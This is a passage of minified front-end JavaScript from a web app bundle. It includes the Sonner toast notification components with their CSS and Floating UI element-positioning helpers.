16px;height:var(--size);width:var(--size);position:absolute;inset:0;z-index:10}.sonner-loading-wrapper[data-visible=false]{transform-origin:center;animation:sonner-fade-out .2s ease forwards}.sonner-spinner{position:relative;top:50%;left:50%;height:var(--size);width:var(--size)}.sonner-loading-bar{animation:sonner-spin 1.2s linear infinite;background:var(--gray11);border-radius:6px;height:8%;left:-10%;position:absolute;top:-3.9%;width:24%}.sonner-loading-bar:nth-child(1){animation-delay:-1.2s;transform:rotate(.0001deg) translate(146%)}.sonner-loading-bar:nth-child(2){animation-delay:-1.1s;transform:rotate(30deg) translate(146%)}.sonner-loading-bar:nth-child(3){animation-delay:-1s;transform:rotate(60deg) translate(146%)}.sonner-loading-bar:nth-child(4){animation-delay:-.9s;transform:rotate(90deg) translate(146%)}.sonner-loading-bar:nth-child(5){animation-delay:-.8s;transform:rotate(120deg) translate(146%)}.sonner-loading-bar:nth-child(6){animation-delay:-.7s;transform:rotate(150deg) translate(146%)}.sonner-loading-bar:nth-child(7){animation-delay:-.6s;transform:rotate(180deg) translate(146%)}.sonner-loading-bar:nth-child(8){animation-delay:-.5s;transform:rotate(210deg) translate(146%)}.sonner-loading-bar:nth-child(9){animation-delay:-.4s;transform:rotate(240deg) translate(146%)}.sonner-loading-bar:nth-child(10){animation-delay:-.3s;transform:rotate(270deg) translate(146%)}.sonner-loading-bar:nth-child(11){animation-delay:-.2s;transform:rotate(300deg) translate(146%)}.sonner-loading-bar:nth-child(12){animation-delay:-.1s;transform:rotate(330deg) translate(146%)}@keyframes sonner-fade-in{0%{opacity:0;transform:scale(.8)}to{opacity:1;transform:scale(1)}}@keyframes sonner-fade-out{0%{opacity:1;transform:scale(1)}to{opacity:0;transform:scale(.8)}}@keyframes sonner-spin{0%{opacity:1}to{opacity:.15}}@media (prefers-reduced-motion){[data-sonner-toast],[data-sonner-toast]>*,.sonner-loading-bar{transition:none!important;animation:none!important}}.sonner-loader{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);transform-origin:center;transition:opacity .2s,transform .2s}.sonner-loader[data-visible=false]{opacity:0;transform:scale(.8) translate(-50%,-50%)} `);function Ci(e){return e.label!==void 0}var jw=3,Aw="32px",Mw=4e3,Lw=356,Dw=14,Iw=20,zw=200;function Fw(...e){return e.filter(Boolean).join(" ")}var $w=e=>{var t,n,r,o,i,s,l,a,u,d;let{invert:f,toast:c,unstyled:g,interacting:y,setHeights:v,visibleToasts:x,heights:h,index:p,toasts:m,expanded:S,removeToast:C,defaultRichColors:P,closeButton:b,style:N,cancelButtonStyle:D,actionButtonStyle:j,className:$="",descriptionClassName:I="",duration:W,position:A,gap:Q,loadingIcon:U,expandByDefault:K,classNames:k,icons:_,closeButtonAriaLabel:z="Close toast",pauseWhenPageIsHidden:L,cn:F}=e,[Y,le]=O.useState(!1),[He,Z]=O.useState(!1),[at,Gt]=O.useState(!1),[Yt,Xt]=O.useState(!1),[Jo,er]=O.useState(0),[An,Xr]=O.useState(0),ei=O.useRef(null),qt=O.useRef(null),Gs=p===0,Ys=p+1<=x,xe=c.type,tr=c.dismissible!==!1,Zm=c.className||"",Jm=c.descriptionClassName||"",ti=O.useMemo(()=>h.findIndex(B=>B.toastId===c.id)||0,[h,c.id]),ev=O.useMemo(()=>{var B;return(B=c.closeButton)!=null?B:b},[c.closeButton,b]),Zu=O.useMemo(()=>c.duration||W||Mw,[c.duration,W]),Xs=O.useRef(0),nr=O.useRef(0),Ju=O.useRef(0),rr=O.useRef(null),[ec,tv]=A.split("-"),tc=O.useMemo(()=>h.reduce((B,ne,ee)=>ee>=ti?B:B+ne.height,0),[h,ti]),nc=Pw(),nv=c.invert||f,qs=xe==="loading";nr.current=O.useMemo(()=>ti*Q+tc,[ti,tc]),O.useEffect(()=>{le(!0)},[]),O.useLayoutEffect(()=>{if(!Y)return;let B=qt.current,ne=B.style.height;B.style.height="auto";let ee=B.getBoundingClientRect().height;B.style.height=ne,Xr(ee),v(St=>St.find(Et=>Et.toastId===c.id)?St.map(Et=>Et.toastId===c.id?{...Et,height:ee}:Et):[{toastId:c.id,height:ee,position:c.position},...St])},[Y,c.title,c.description,v,c.id]);let Zt=O.useCallback(()=>{Z(!0),er(nr.current),v(B=>B.filter(ne=>ne.toastId!==c.id)),setTimeout(()=>{C(c)},zw)},[c,C,v,nr]);O.useEffect(()=>{if(c.promise&&xe==="loading"||c.duration===1/0||c.type==="loading")return;let B,ne=Zu;return S||y||L&&nc?(()=>{if(Ju.current<Xs.current){let ee=new Date().getTime()-Xs.current;ne=ne-ee}Ju.current=new Date().getTime()})():ne!==1/0&&(Xs.current=new Date().getTime(),B=setTimeout(()=>{var ee;(ee=c.onAutoClose)==null||ee.call(c,c),Zt()},ne)),()=>clearTimeout(B)},[S,y,K,c,Zu,Zt,c.promise,xe,L,nc]),O.useEffect(()=>{let B=qt.current;if(B){let ne=B.getBoundingClientRect().height;return Xr(ne),v(ee=>[{toastId:c.id,height:ne,position:c.position},...ee]),()=>v(ee=>ee.filter(St=>St.toastId!==c.id))}},[v,c.id]),O.useEffect(()=>{c.delete&&Zt()},[Zt,c.delete]);function rv(){return _!=null&&_.loading?O.createElement("div",{className:"sonner-loader","data-visible":xe==="loading"},_.loading):U?O.createElement("div",{className:"sonner-loader","data-visible":xe==="loading"},U):O.createElement(xw,{visible:xe==="loading"})}return O.createElement("li",{"aria-live":c.important?"assertive":"polite","aria-atomic":"true",role:"status",tabIndex:0,ref:qt,className:F($,Zm,k==null?void 0:k.toast,(t=c==null?void 0:c.classNames)==null?void 0:t.toast,k==null?void 0:k.default,k==null?void 0:k[xe],(n=c==null?void 0:c.classNames)==null?void 0:n[xe]),"data-sonner-toast":"","data-rich-colors":(r=c.richColors)!=null?r:P,"data-styled":!(c.jsx||c.unstyled||g),"data-mounted":Y,"data-promise":!!c.promise,"data-removed":He,"data-visible":Ys,"data-y-position":ec,"data-x-position":tv,"data-index":p,"data-front":Gs,"data-swiping":at,"data-dismissible":tr,"data-type":xe,"data-invert":nv,"data-swipe-out":Yt,"data-expanded":!!(S||K&&Y),style:{"--index":p,"--toasts-before":p,"--z-index":m.length-p,"--offset":`${He?Jo:nr.current}px`,"--initial-height":K?"auto":`${An}px`,...N,...c.style},onPointerDown:B=>{qs||!tr||(ei.current=new Date,er(nr.current),B.target.setPointerCapture(B.pointerId),B.target.tagName!=="BUTTON"&&(Gt(!0),rr.current={x:B.clientX,y:B.clientY}))},onPointerUp:()=>{var B,ne,ee,St;if(Yt||!tr)return;rr.current=null;let Et=Number(((B=qt.current)==null?void 0:B.style.getPropertyValue("--swipe-amount").replace("px",""))||0),ni=new Date().getTime()-((ne=ei.current)==null?void 0:ne.getTime()),ov=Math.abs(Et)/ni;if(Math.abs(Et)>=Iw||ov>.11){er(nr.current),(ee=c.onDismiss)==null||ee.call(c,c),Zt(),Xt(!0);return}(St=qt.current)==null||St.style.setProperty("--swipe-amount","0px"),Gt(!1)},onPointerMove:B=>{var ne;if(!rr.current||!tr)return;let ee=B.clientY-rr.current.y,St=B.clientX-rr.current.x,Et=(ec==="top"?Math.min:Math.max)(0,ee),ni=B.pointerType==="touch"?10:2;Math.abs(Et)>ni?(ne=qt.current)==null||ne.style.setProperty("--swipe-amount",`${ee}px`):Math.abs(St)>ni&&(rr.current=null)}},ev&&!c.jsx?O.createElement("button",{"aria-label":z,"data-disabled":qs,"data-close-button":!0,onClick:qs||!tr?()=>{}:()=>{var B;Zt(),(B=c.onDismiss)==null||B.call(c,c)},className:F(k==null?void 0:k.closeButton,(o=c==null?void 0:c.classNames)==null?void 0:o.closeButton)},O.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",strokeLinecap:"round",strokeLinejoin:"round"},O.createElement("line",{x1:"18",y1:"6",x2:"6",y2:"18"}),O.createElement("line",{x1:"6",y1:"6",x2:"18",y2:"18"}))):null,c.jsx||O.isValidElement(c.title)?c.jsx||c.title:O.createElement(O.Fragment,null,xe||c.icon||c.promise?O.createElement("div",{"data-icon":"",className:F(k==null?void 0:k.icon,(i=c==null?void 0:c.classNames)==null?void 0:i.icon)},c.promise||c.type==="loading"&&!c.icon?c.icon||rv():null,c.type!=="loading"?c.icon||(_==null?void 0:_[xe])||yw(xe):null):null,O.createElement("div",{"data-content":"",className:F(k==null?void 0:k.content,(s=c==null?void 0:c.classNames)==null?void 0:s.content)},O.createElement("div",{"data-title":"",className:F(k==null?void 0:k.title,(l=c==null?void 0:c.classNames)==null?void 0:l.title)},c.title),c.description?O.createElement("div",{"data-description":"",className:F(I,Jm,k==null?void 0:k.description,(a=c==null?void 0:c.classNames)==null?void 0:a.description)},c.description):null),O.isValidElement(c.cancel)?c.cancel:c.cancel&&Ci(c.cancel)?O.createElement("button",{"data-button":!0,"data-cancel":!0,style:c.cancelButtonStyle||D,onClick:B=>{var ne,ee;Ci(c.cancel)&&tr&&((ee=(ne=c.cancel).onClick)==null||ee.call(ne,B),Zt())},className:F(k==null?void 0:k.cancelButton,(u=c==null?void 0:c.classNames)==null?void 0:u.cancelButton)},c.cancel.label):null,O.isValidElement(c.action)?c.action:c.action&&Ci(c.action)?O.createElement("button",{"data-button":!0,"data-action":!0,style:c.actionButtonStyle||j,onClick:B=>{var ne,ee;Ci(c.action)&&(B.defaultPrevented||((ee=(ne=c.action).onClick)==null||ee.call(ne,B),Zt()))},className:F(k==null?void 0:k.actionButton,(d=c==null?void 0:c.classNames)==null?void 0:d.actionButton)},c.action.label):null))};function Ed(){if(typeof window>"u"||typeof document>"u")return"ltr";let e=document.documentElement.getAttribute("dir");return e==="auto"||!e?window.getComputedStyle(document.documentElement).direction:e}var Uw=e=>{let{invert:t,position:n="bottom-right",hotkey:r=["altKey","KeyT"],expand:o,closeButton:i,className:s,offset:l,theme:a="light",richColors:u,duration:d,style:f,visibleToasts:c=jw,toastOptions:g,dir:y=Ed(),gap:v=Dw,loadingIcon:x,icons:h,containerAriaLabel:p="Notifications",pauseWhenPageIsHidden:m,cn:S=Fw}=e,[C,P]=O.useState([]),b=O.useMemo(()=>Array.from(new Set([n].concat(C.filter(L=>L.position).map(L=>L.position)))),[C,n]),[N,D]=O.useState([]),[j,$]=O.useState(!1),[I,W]=O.useState(!1),[A,Q]=O.useState(a!=="system"?a:typeof window<"u"&&window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"),U=O.useRef(null),K=r.join("+").replace(/Key/g,"").replace(/Digit/g,""),k=O.useRef(null),_=O.useRef(!1),z=O.useCallback(L=>{var F;(F=C.find(Y=>Y.id===L.id))!=null&&F.delete||Qe.dismiss(L.id),P(Y=>Y.filter(({id:le})=>le!==L.id))},[C]);return O.useEffect(()=>Qe.subscribe(L=>{if(L.dismiss){P(F=>F.map(Y=>Y.id===L.id?{...Y,delete:!0}:Y));return}setTimeout(()=>{vh.flushSync(()=>{P(F=>{let Y=F.findIndex(le=>le.id===L.id);return Y!==-1?[...F.slice(0,Y),{...F[Y],...L},...F.slice(Y+1)]:[L,...F]})})})}),[]),O.useEffect(()=>{if(a!=="system"){Q(a);return}a==="system"&&(window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?Q("dark"):Q("light")),typeof window<"u"&&window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change",({matches:L})=>{Q(L?"dark":"light")})},[a]),O.useEffect(()=>{C.length<=1&&$(!1)},[C]),O.useEffect(()=>{let L=F=>{var Y,le;r.every(He=>F[He]||F.code===He)&&($(!0),(Y=U.current)==null||Y.focus()),F.code==="Escape"&&(document.activeElement===U.current||(le=U.current)!=null&&le.contains(document.activeElement))&&$(!1)};return document.addEventListener("keydown",L),()=>document.removeEventListener("keydown",L)},[r]),O.useEffect(()=>{if(U.current)return()=>{k.current&&(k.current.focus({preventScroll:!0}),k.current=null,_.current=!1)}},[U.current]),C.length?O.createElement("section",{"aria-label":`${p} ${K}`,tabIndex:-1},b.map((L,F)=>{var Y;let[le,He]=L.split("-");return O.createElement("ol",{key:L,dir:y==="auto"?Ed():y,tabIndex:-1,ref:U,className:s,"data-sonner-toaster":!0,"data-theme":A,"data-y-position":le,"data-x-position":He,style:{"--front-toast-height":`${((Y=N[0])==null?void 0:Y.height)||0}px`,"--offset":typeof l=="number"?`${l}px`:l||Aw,"--width":`${Lw}px`,"--gap":`${v}px`,...f},onBlur:Z=>{_.current&&!Z.currentTarget.contains(Z.relatedTarget)&&(_.current=!1,k.current&&(k.current.focus({preventScroll:!0}),k.current=null))},onFocus:Z=>{Z.target instanceof HTMLElement&&Z.target.dataset.dismissible==="false"||_.current||(_.current=!0,k.current=Z.relatedTarget)},onMouseEnter:()=>$(!0),onMouseMove:()=>$(!0),onMouseLeave:()=>{I||$(!1)},onPointerDown:Z=>{Z.target instanceof HTMLElement&&Z.target.dataset.dismissible==="false"||W(!0)},onPointerUp:()=>W(!1)},C.filter(Z=>!Z.position&&F===0||Z.position===L).map((Z,at)=>{var Gt,Yt;return O.createElement($w,{key:Z.id,icons:h,index:at,toast:Z,defaultRichColors:u,duration:(Gt=g==null?void 0:g.duration)!=null?Gt:d,className:g==null?void 0:g.className,descriptionClassName:g==null?void 0:g.descriptionClassName,invert:t,visibleToasts:c,closeButton:(Yt=g==null?void 0:g.closeButton)!=null?Yt:i,interacting:I,position:L,style:g==null?void 0:g.style,unstyled:g==null?void 0:g.unstyled,classNames:g==null?void 0:g.classNames,cancelButtonStyle:g==null?void 0:g.cancelButtonStyle,actionButtonStyle:g==null?void 0:g.actionButtonStyle,removeToast:z,toasts:C.filter(Xt=>Xt.position==Z.position),heights:N.filter(Xt=>Xt.position==Z.position),setHeights:D,expandByDefault:o,gap:v,loadingIcon:x,expanded:j,pauseWhenPageIsHidden:m,cn:S})}))})):null};const Bw=({...e})=>{const{theme:t="system"}=gw();return E.jsx(Uw,{theme:t,className:"toaster group",toastOptions:{classNames:{toast:"group toast group-[.toaster]:bg-background group-[.toaster]:text-foreground group-[.toaster]:border-border group-[.toaster]:shadow-lg",description:"group-[.toast]:text-muted-foreground",actionButton:"group-[.toast]:bg-primary group-[.toast]:text-primary-foreground",cancelButton:"group-[.toast]:bg-muted group-[.toast]:text-muted-foreground"}},...e})},Vw=["top","right","bottom","left"],bn=Math.min,Ge=Math.max,ds=Math.round,ki=Math.floor,Tn=e=>({x:e,y:e}),Hw={left:"right",right:"left",bottom:"top",top:"bottom"},Ww={start:"end",end:"start"};function Oa(e,t,n){return Ge(e,bn(t,n))}function Wt(e,t){return typeof e=="function"?e(t):e}function Qt(e){return e.split("-")[0]}function Gr(e){return e.split("-")[1]}function Uu(e){return e==="x"?"y":"x"}function Bu(e){return e==="y"?"height":"width"}function Nn(e){return["top","bottom"].includes(Qt(e))?"y":"x"}function Vu(e){return Uu(Nn(e))}function Qw(e,t,n){n===void 0&&(n=!1);const r=Gr(e),o=Vu(e),i=Bu(o);let s=o==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[i]>t.floating[i]&&(s=fs(s)),[s,fs(s)]}function Kw(e){const t=fs(e);return[ja(e),t,ja(t)]}function ja(e){return e.replace(/start|end/g,t=>Ww[t])}function Gw(e,t,n){const r=["left","right"],o=["right","left"],i=["top","bottom"],s=["bottom","top"];switch(e){case"top":case"bottom":return n?t?o:r:t?r:o;case"left":case"right":return t?i:s;default:return[]}}function Yw(e,t,n,r){const o=Gr(e);let i=Gw(Qt(e),n==="start",r);return o&&(i=i.map(s=>s+"-"+o),t&&(i=i.concat(i.map(ja)))),i}function fs(e){return e.replace(/left|right|bottom|top/g,t=>Hw[t])}function Xw(e){return{top:0,right:0,bottom:0,left:0,...e}}function lm(e){return typeof e!="number"?Xw(e):{top:e,right:e,bottom:e,left:e}}function ps(e){const{x:t,y:n,width:r,height:o}=e;return{width:r,height:o,top:n,left:t,right:t+r,bottom:n+o,x:t,y:n}}function Cd(e,t,n){let{reference:r,floating:o}=e;const i=Nn(t),s=Vu(t),l=Bu(s),a=Qt(t),u=i==="y",d=r.x+r.width/2-o.width/2,f=r.y+r.height/2-o.height/2,c=r[l]/2-o[l]/2;let g;switch(a){case"top":g={x:d,y:r.y-o.height};break;case"bottom":g={x:d,y:r.y+r.height};break;case"right":g={x:r.x+r.width,y:f};break;case"left":g={x:r.x-o.width,y:f};break;default:g={x:r.x,y:r.y}}switch(Gr(t)){case"start":g[s]-=c*(n&&u?-1:1);break;case"end":g[s]+=c*(n&&u?-1:1);break}return g}const qw=async(e,t,n)=>{const{placement:r="bottom",strategy:o="absolute",middleware:i=[],platform:s}=n,l=i.filter(Boolean),a=await(s.isRTL==null?void 0:s.isRTL(t));let u=await s.getElementRects({reference:e,floating:t,strategy:o}),{x:d,y:f}=Cd(u,r,a),c=r,g={},y=0;for(let v=0;v<l.length;v++){const{name:x,fn:h}=l[v],{x:p,y:m,data:S,reset:C}=await h({x:d,y:f,initialPlacement:r,placement:c,strategy:o,middlewareData:g,rects:u,platform:s,elements:{reference:e,floating:t}});d=p??d,f=m??f,g={...g,[x]:{...g[x],...S}},C&&y<=50&&(y++,typeof C=="object"&&(C.placement&&(c=C.placement),C.rects&&(u=C.rects===!0?await s.getElementRects({reference:e,floating:t,strategy:o}):C.rects),{x:d,y:f}=Cd(u,c,a)),v=-1)}return{x:d,y:f,placement:c,strategy:o,middlewareData:g}};async function $o(e,t){var n;t===void 0&&(t={});const{x:r,y:o,platform:i,rects:s,elements:l,strategy:a}=e,{boundary:u="clippingAncestors",rootBoundary:d="viewport",elementContext:f="floating",altBoundary:c=!1,padding:g=0}=Wt(t,e),y=lm(g),x=l[c?f==="floating"?"reference":"floating":f],h=ps(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(x)))==null||n?x:x.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(l.floating)),boundary:u,rootBoundary:d,strategy:a})),p=f==="floating"?{x:r,y:o,width:s.floating.width,height:s.floating.height}:s.reference,m=await(i.getOffsetParent==null?void 0:i.getOffsetParent(l.floating)),S=await(i.isElement==null?void 0:i.isElement(m))?await(i.getScale==null?void 0:i.getScale(m))||{x:1,y:1}:{x:1,y:1},C=ps(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:l,rect:p,offsetParent:m,strategy:a}):p);return{top:(h.top-C.top+y.top)/S.y,bottom:(C.bottom-h.bottom+y.bottom)/S.y,left:(h.left-C.left+y.left)/S.x,right:(C.right-h.right+y.right)/S.x}}const Zw=e=>({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:o,rects:i,platform:s,elements:l,middlewareData:a}=t,{element:u,padding:d=0}=Wt(e,t)||{};if(u==null)return{};const f=lm(d),c={x:n,y:r},g=Vu(o),y=Bu(g),v=await s.getDimensions(u),x=g==="y",h=x?"top":"left",p=x?"bottom":"right",m=x?"clientHeight":"clientWidth",S=i.reference[y]+i.reference[g]-c[g]-i.floating[y],C=c[g]-i.reference[g],P=await(s.getOffsetParent==null?void 0:s.getOffsetParent(u));let b=P?P[m]:0;(!b||!await(s.isElement==null?void 0:s.isElement(P)))&&(b=l.floating[m]||i.floating[y]);const N=S/2-C/2,D=b/2-v[y]/2-1,j=bn(f[h],D),$=bn(f[p],D),I=j,W=b-v[y]-$,A=b/2-v[y]/2+N,Q=Oa(I,A,W),U=!a.arrow&&Gr(o)!=null&&A!==Q&&i.reference[y]/2-(A<I?j:$)-v[y]/2<0,K=U?A<I?A-I:A-W:0;return{[g]:c[g]+K,data:{[g]:Q,centerOffset:A-Q-K,...U&&{alignmentOffset:K}},reset:U}}}),Jw=function(e){return e===void 0&&(e={}),{name:"flip",options:e,async fn(t){var n,r;const{placement:o,middlewareData:i,rects:s,initialPlacement:l,platform:a,elements:u}=t,{mainAxis:d=!0,crossAxis:f=!0,fallbackPlacements:c,fallbackStrategy:g="bestFit",fallbackAxisSideDirection:y="none",flipAlignment:v=!0,...x}=Wt(e,t);if((n=i.arrow)!=null&&n.alignmentOffset)return{};const h=Qt(o),p=Nn(l),m=Qt(l)===l,S=await(a.isRTL==null?void 0:a.isRTL(u.floating)),C=c||(m||!v?[fs(l)]:Kw(l)),P=y!=="none";!c&&P&&C.push(...Yw(l,v,y,S));const b=[l,...C],N=await $o(t,x),D=[];let j=((r=i.flip)==null?void 0:r.overflows)||[];if(d&&D.push(N[h]),f){const A=Qw(o,s,S);D.push(N[A[0]],N[A[1]])}if(j=[...j,{placement:o,overflows:D}],!D.every(A=>A<=0)){var $,I;const A=((($=i.flip)==null?void 0:$.index)||0)+1,Q=b[A];if(Q)return{data:{index:A,overflows:j},reset:{placement:Q}};let U=(I=j.filter(K=>K.overflows[0]<=0).sort((K,k)=>K.overflows[1]-k.overflows[1])[0])==null?void 0:I.placement;if(!U)switch(g){case"bestFit":{var W;const K=(W=j.filter(k=>{if(P){const _=Nn(k.placement);return _===p||_==="y"}return!0}).map(k=>[k.placement,k.overflows.filter(_=>_>0).reduce((_,z)=>_+z,0)]).sort((k,_)=>k[1]-_[1])[0])==null?void 0:W[0];K&&(U=K);break}case"initialPlacement":U=l;break}if(o!==U)return{reset:{placement:U}}}return{}}}};function kd(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function Pd(e){return Vw.some(t=>e[t]>=0)}const ex=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:r="referenceHidden",...o}=Wt(e,t);switch(r){case"referenceHidden":{const i=await $o(t,{...o,elementContext:"reference"}),s=kd(i,n.reference);return{data:{referenceHiddenOffsets:s,referenceHidden:Pd(s)}}}case"escaped":{const i=await $o(t,{...o,altBoundary:!0}),s=kd(i,n.floating);return{data:{escapedOffsets:s,escaped:Pd(s)}}}default:return{}}}}};async function tx(e,t){const{placement:n,platform:r,elements:o}=e,i=await(r.isRTL==null?void 0:r.isRTL(o.floating)),s=Qt(n),l=Gr(n),a=Nn(n)==="y",u=["left","top"].includes(s)?-1:1,d=i&&a?-1:1,f=Wt(t,e);let{mainAxis:c,crossAxis:g,alignmentAxis:y}=typeof f=="number"?{mainAxis:f,crossAxis:0,alignmentAxis:null}:{mainAxis:f.mainAxis||0,crossAxis:f.crossAxis||0,alignmentAxis:f.alignmentAxis};return l&&typeof y=="number"&&(g=l==="end"?y*-1:y),a?{x:g*d,y:c*u}:{x:c*u,y:g*d}}const nx=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:o,y:i,placement:s,middlewareData:l}=t,a=await tx(t,e);return s===((n=l.offset)==null?void 0:n.placement)&&(r=l.arrow)!=null&&r.alignmentOffset?{}:{x:o+a.x,y:i+a.y,data:{...a,placement:s}}}}},rx=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:o}=t,{mainAxis:i=!0,crossAxis:s=!1,limiter:l={fn:x=>{let{x:h,y:p}=x;return{x:h,y:p}}},...a}=Wt(e,t),u={x:n,y:r},d=await $o(t,a),f=Nn(Qt(o)),c=Uu(f);let g=u[c],y=u[f];if(i){const x=c==="y"?"top":"left",h=c==="y"?"bottom":"right",p=g+d[x],m=g-d[h];g=Oa(p,g,m)}if(s){const x=f==="y"?"top":"left",h=f==="y"?"bottom":"right",p=y+d[x],m=y-d[h];y=Oa(p,y,m)}const v=l.fn({...t,[c]:g,[f]:y});return{...v,data:{x:v.x-n,y:v.y-r,enabled:{[c]:i,[f]:s}}}}}},ox=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:o,rects:i,middlewareData:s}=t,{offset:l=0,mainAxis:a=!0,crossAxis:u=!0}=Wt(e,t),d={x:n,y:r},f=Nn(o),c=Uu(f);let g=d[c],y=d[f];const v=Wt(l,t),x=typeof v=="number"?{mainAxis:v,crossAxis:0}:{mainAxis:0,crossAxis:0,...v};if(a){const m=c==="y"?"height":"width",S=i.reference[c]-i.floating[m]+x.mainAxis,C=i.reference[c]+i.reference[m]-x.mainAxis;g<S?g=S:g>C&&(g=C)}if(u){var h,p;const m=c==="y"?"width":"height",S=["top","left"].includes(Qt(o)),C=i.reference[f]-i.floating[m]+(S&&((h=s.offset)==null?void 0:h[f])||0)+(S?0:x.crossAxis),P=i.reference[f]+i.reference[m]+(S?0:((p=s.offset)==null?void 0:p[f])||0)-(S?x.crossAxis:0);y<C?y=C:y>P&&(y=P)}return{[c]:g,[f]:y}}}},ix=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){var n,r;const{placement:o,rects:i,platform:s,elements:l}=t,{apply:a=()=>{},...u}=Wt(e,t),d=await $o(t,u),f=Qt(o),c=Gr(o),g=Nn(o)==="y",{width:y,height:v}=i.floating;let x,h;f==="top"||f==="bottom"?(x=f,h=c===(await(s.isRTL==null?void 0:s.isRTL(l.floating))?"start":"end")?"left":"right"):(h=f,x=c==="end"?"top":"bottom");const p=v-d.top-d.bottom,m=y-d.left-d.right,S=bn(v-d[x],p),C=bn(y-d[h],m),P=!t.middlewareData.shift;let b=S,N=C;if((n=t.middlewareData.shift)!=null&&n.enabled.x&&(N=m),(r=t.middlewareData.shift)!=null&&r.enabled.y&&(b=p),P&&!c){const j=Ge(d.left,0),$=Ge(d.right,0),I=Ge(d.top,0),W=Ge(d.bottom,0);g?N=y-2*(j!==0||$!==0?j+$:Ge(d.left,d.right)):b=v-2*(I!==0||W!==0?I+W:Ge(d.top,d.bottom))}await a({...t,availableWidth:N,availableHeight:b});const D=await s.getDimensions(l.floating);return y!==D.width||v!==D.height?{reset:{rects:!0}}:{}}}};function zs(){return typeof window<"u"}function Yr(e){return am(e)?(e.nodeName||"").toLowerCase():"#document"}function qe(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function At(e){var t;return(t=(am(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function am(e){return zs()?e instanceof Node||e instanceof qe(e).Node:!1}function wt(e){return zs()?e instanceof Element||e instanceof qe(e).Element:!1}function jt(e){return zs()?e instanceof HTMLElement||e instanceof qe(e).HTMLElement:!1}function bd(e){return!zs()||typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof qe(e).ShadowRoot}function Zo(e){const{overflow:t,overflowX:n,overflowY:r,display:o}=xt(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!["inline","contents"].includes(o)}function sx(e){return["table","td","th"].includes(Yr(e))}function Fs(e){return[":popover-open",":modal"].some(t=>{try{return e.matches(t)}catch{return!1}})}function Hu(e){const t=Wu(),n=wt(e)?xt(e):e;return n.transform!=="none"||n.perspective!=="none"||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||["transform","perspective","filter"].some(r=>(n.willChange||"").includes(r))||["paint","layout","strict","content"].some(r=>(n.contain||"").includes(r))}function lx(e){let t=Rn(e);for(;jt(t)&&!Br(t);){if(Hu(t))return t;if(Fs(t))return null;t=Rn(t)}return null}function Wu(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}function Br(e){return["html","body","#document"].includes(Yr(e))}function xt(e){return qe(e).getComputedStyle(e)}function $s(e){return wt(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function Rn(e){if(Yr(e)==="html")return e;const t=e.assignedSlot||e.parentNode||bd(e)&&e.host||At(e);return bd(t)?t.host:t}function um(e){const t=Rn(e);return Br(t)?e.ownerDocument?e.ownerDocument.body:e.body:jt(t)&&Zo(t)?t:um(t)}function Uo(e,t,n){var r;t===void 0&&(t=[]),n===void 0&&(n=!0);const o=um(e),i=o===((r=e.ownerDocument)==null?void 0:r.body),s=qe(o);if(i){const l=Aa(s);return t.concat(s,s.visualViewport||[],Zo(o)?o:[],l&&n?Uo(l):[])}return t.concat(o,Uo(o,[],n))}function Aa(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function cm(e){const t=xt(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const o=jt(e),i=o?e.offsetWidth:n,s=o?e.offsetHeight:r,l=ds(n)!==i||ds(r)!==s;return l&&(n=i,r=s),{width:n,height:r,$:l}}function Qu(e){return wt(e)?e:e.contextElement}function kr(e){const t=Qu(e);if(!jt(t))return Tn(1);const n=t.getBoundingClientRect(),{width:r,height:o,$:i}=cm(t);let s=(i?ds(n.width):n.width)/r,l=(i?ds(n.height):n.height)/o;return(!s||!Number.isFinite(s))&&(s=1),(!l||!Number.isFinite(l))&&(l=1),{x:s,y:l}}const ax=Tn(0);function dm(e){const t=qe(e);return!Wu()||!t.visualViewport?ax:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function ux(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==qe(e)?!1:t}function qn(e,t,n,r){t===void 0&&(t=!1),n===void 0&&(n=!1);const o=e.getBoundingClientRect(),i=Qu(e);let s=Tn(1);t&&(r?wt(r)&&(s=kr(r)):s=kr(e));const l=ux(i,n,r)?dm(i):Tn(0);let a=(o.left+l.x)/s.x,u=(o.top+l.y)/s.y,d=o.width/s.x,f=o.height/s.y;if(i){const c=qe(i),g=r&&wt(r)?qe(r):r;let y=c,v=Aa(y);for(;v&&r&&g!==y;){const x=kr(v),h=v.getBoundingClientRect(),p=xt(v),m=h.left+(v.clientLeft+parseFloat(p.paddingLeft))*x.x,S=h.top+(v.clientTop+parseFloat(p.paddingTop))*x.y;a*=x.x,u*=x.y,d*=x.x,f*=x.y,a+=m,u+=S,y=qe(v),v=Aa(y)}}return 